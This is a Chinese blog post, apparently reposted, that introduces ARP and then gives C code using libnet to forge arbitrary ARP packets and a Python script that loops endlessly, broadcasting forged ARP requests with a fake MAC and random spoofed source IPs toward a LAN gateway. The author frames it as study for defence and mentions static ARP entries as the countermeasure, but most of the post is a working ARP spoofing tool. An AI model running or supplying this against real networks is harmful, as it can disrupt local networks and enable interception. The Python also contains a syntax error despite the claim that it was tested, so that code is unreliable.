zoukankan      html  css  js  c++  java
  • ARP数据包伪造

      一台网络中的计算机,其传递到网络中的数据包的内容是完全由其软硬件逻辑决定的,软件可以操控硬件,硬件亦是一种特殊的软件,所以,接收者只根据数据包的内容,绝不可能判定此数据包的真正来源,一切都是可以伪造的。 

      网络系统功与防的矛盾斗争,可以使得我们更加快速的发现并修补系统漏洞,而且这种矛盾关系必然存在。

      人外有人,天外有天。

      攻的最高境界便是不战,是和平。

      静态arp表项轻松破解ARP伪造报文的攻击。我们研究伪造报文的目的在于深刻理解系统以更好地防御,而非攻击。


     

     

      ARP : Address Resolution Protocol,地址解析协议,其基本功能为通过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的顺利进行。它是IPv4中网络层必不可少的协议,不过在IPv6中已不再适用,并被邻居发现协议(NDP)所替代。

    ——维基百科

      基础资料推荐:《TCP-IP详解 卷1:协议》《ARP协议简介 

      需要注意,书中阐述的大多数arp缓存更新规则对现代操作系统已经不再适用,试想,一次ARP广播就可以更新当前局域网中所有主机的arp缓存条目,这是多么大的系统漏洞?一轮ARP伪造报文的攻击,便能使这个局域网主机之间的通讯陷入瘫痪。所以,现代操作系统采取了更加保守的arp缓存更新规则,上图已在Win7-64位操作系统与Linux 2.6.32内核上获得验证。

      一台网络中的计算机,其传递到网络中的数据包的内容是完全由其软硬件逻辑决定的,软件可以操控硬件,硬件也是一种特殊的软件,所以,接收者只根据数据包的内容,绝不可能判定此数据包的真正来源,一切都是可以伪造的。

      操作系统与硬件具有构造数据包的能力,当操作系统把这种能力以系统调用的方式提供给编程者时,则,编程者亦拥有了构造任意数据包的能力。

      而Libnet又对这些系统调用进行了又一次的逻辑封装,将这些能力以更加容易使用的方式展露出来,以加应用程序的开发速度。

      实验环境为GNU/Linux,以太网,主机应已安装libnet。

    ForgeArp.c
     1 //// # gcc ForgeArp.c -lnet -shared -fPIC -o ForgeArp.so
     2 #include <stdio.h>
     3 #include <stdlib.h>
     4 #include <string.h>
     5 #include <unistd.h>
     6 #include <libnet.h>
     7 #define MAC_ADDR_LEN 6
     8 #define IP_ADDR_LEN 4
     9 int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
    10                          char * src_ip_str,char *dst_ip_str,uint16_t arpOp,unsigned int sendTimes
    11                         )
    12 {
    13         libnet_t *net_t = NULL; 
    14         unsigned long src_ip,dst_ip = 0;        
    15         char err_buf[LIBNET_ERRBUF_SIZE];
    16         libnet_ptag_t p_tag; 
    17         unsigned int i=0;
    18         src_ip = libnet_name2addr4(net_t,src_ip_str,LIBNET_RESOLVE);
    19         if (src_ip==-1)
    20             {
    21             printf("error: libnet_name2addr4 src_ip 
    ");
    22             return 1;
    23             }
    24         dst_ip = libnet_name2addr4(net_t,dst_ip_str,LIBNET_RESOLVE);
    25         if (dst_ip==-1)
    26             {
    27             printf("error: libnet_name2addr4 dst_ip 
    ");
    28             return 1;
    29             }
    30 
    31         printf("the src_ip_str is %s,uint32 src_ip is %d
    ",src_ip_str,src_ip);
    32         printf("the dst_ip_str is %s,uint32 dst_ip is %d
    ",dst_ip_str,dst_ip);
    33         
    34         net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);     
    35         if(net_t == NULL)
    36         {
    37                 printf("libnet_init error
    ");
    38                 return 2;
    39         }
    40 
    41         p_tag = libnet_build_arp(
    42                         ARPHRD_ETHER,//hardware type ethernet
    43                         ETHERTYPE_IP,//protocol type
    44                         MAC_ADDR_LEN,//mac length
    45                         IP_ADDR_LEN,//protocol length
    46                         arpOp,//op type
    47                         (u_int8_t *)src_mac,//source mac addr
    48                         (u_int8_t *)&src_ip,//source ip addr
    49                         (u_int8_t *)dst_mac,//dest mac addr
    50                         (u_int8_t *)&dst_ip,//dest ip  addr
    51                         NULL,//payload
    52                         0,//payload length
    53                         net_t,//libnet context
    54                         0//0 stands to build a new one
    55         );
    56         
    57         if(-1 == p_tag)
    58         {
    59                 printf("libnet_build_arp error
    ");
    60                 libnet_destroy(net_t);
    61                 return 3;
    62         }
    63 
    64         p_tag = libnet_build_ethernet(//create ethernet header
    65                         (u_int8_t *)dst_mac,//dest mac addr
    66                         (u_int8_t *)src_mac,//source mac addr
    67                         ETHERTYPE_ARP,//protocol type
    68                         NULL,//payload
    69                         0,//payload length
    70                         net_t,//libnet context
    71                         0//0 to build a new one
    72         );
    73 
    74         if(-1 == p_tag)
    75         {
    76                 printf("libnet_build_ethernet error!
    ");
    77                 libnet_destroy(net_t);
    78                 return 4;
    79         }
    80         
    81         int res;
    82         i=0;
    83         for(;i<sendTimes;i++)
    84           if(-1 == (res = libnet_write(net_t)))
    85           {
    86                 printf("libnet_write error!
    ");
    87                 libnet_destroy(net_t);
    88                 return 5;
    89           }
    90         
    91         libnet_destroy(net_t);
    92         return 0;
    93 FAIL:        
    94         libnet_destroy(net_t);
    95                 return 6;
    96 }

      我们已经将ForgeArp功能编译成了shared object,接下来Python入场。

    forgeArpTest.py
     1 """
     2 int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
     3             char * src_ip_str,char *dst_ip_str,uint16_t arpOp,unsigned int sendTimes
     4            )
     5 """
     6 import time
     7 import random
     8 from ctypes import *
     9 arpLib=CDLL('./ForgeArp.so')
    10 
    11 def MacTran(macStr):
    12     MacType= c_ubyte * 6
    13     macStr=macStr.translate(None,":")
    14     return MacType(int(macStr[0:2],16),int(macStr[2:4],16),int(macStr[4:6],16),
    15                    int(macStr[6:8],16)int(macStr[8:10],16),int(macStr[10:12],16))
    16 while True:
    17     lis=["192.168.0."]
    18     lis.append(str(int(random.random()*1000/4)))
    19     if lis[1]=='36':
    20         continue
    21     arpLib.ForgeAndSendArp("eth0",MacTran("66:66:66:66:66:66"),MacTran("FF:FF:FF:FF:FF:FF") 
    22                         ,''.join(lis),"192.168.0.1",c_ushort(1),c_uint(2))
    23     time.sleep(1)
    24 
    25 print ":)"

      关于ForgeAndSendArp函数中arpOp参数的选项如下:

    // 源码头文件
    libnet-1.2-rc3includelibnetlibnet-headers.h 
    1 // 仅摘部分内容
    2   uint16_t ar_op;          /* operation type */
    3 #define ARPOP_REQUEST    1  /* req to resolve address */
    4 #define ARPOP_REPLY      2  /* resp to previous request */
    5 #define ARPOP_REVREQUEST 3  /* req protocol address given hardware */
    6 #define ARPOP_REVREPLY   4  /* resp giving protocol address */
    7 #define ARPOP_INVREQUEST 8  /* req to identify peer */
    8 #define ARPOP_INVREPLY   9  /* resp identifying peer */

       代码测试无误。

      静态arp表项轻松破解ARP伪造报文的攻击。我们伪造报文的目的在于深刻理解系统以更好地防御,而非攻击。

       如有问题或者优化建议,欢迎讨论!

     

     

     

     

     

     

  • 相关阅读:
    verifycode验证码模版
    输出一个整数的每一位,如:123的每一位是1 , 2 , 3
    编写代码模拟三次密码输入的场景。 最多能输入三次密码,密码正确,提示“登录成功”,密码错误, 可以重新输 入,最多输入三次。三次均错,则提示退出程序
    获取一个数二进制序列中所有的偶数位和奇数位, 分别输出二进制序列
    一台客户端有三百个客户与三百个客户端有三百个客户对服务器施压,有什么区别?
    软件生存周期及其模型是什么?
    试述软件的概念和特点?软件复用的含义?构件包括哪些?
    Spring Cloud Stream与Spring Cloud Bus区别
    Spring的设计模式
    JavaScript的事件循环机制总结 eventLoop
  • 原文地址:https://www.cnblogs.com/SwordTao/p/3640146.html
Copyright © 2011-2022 走看看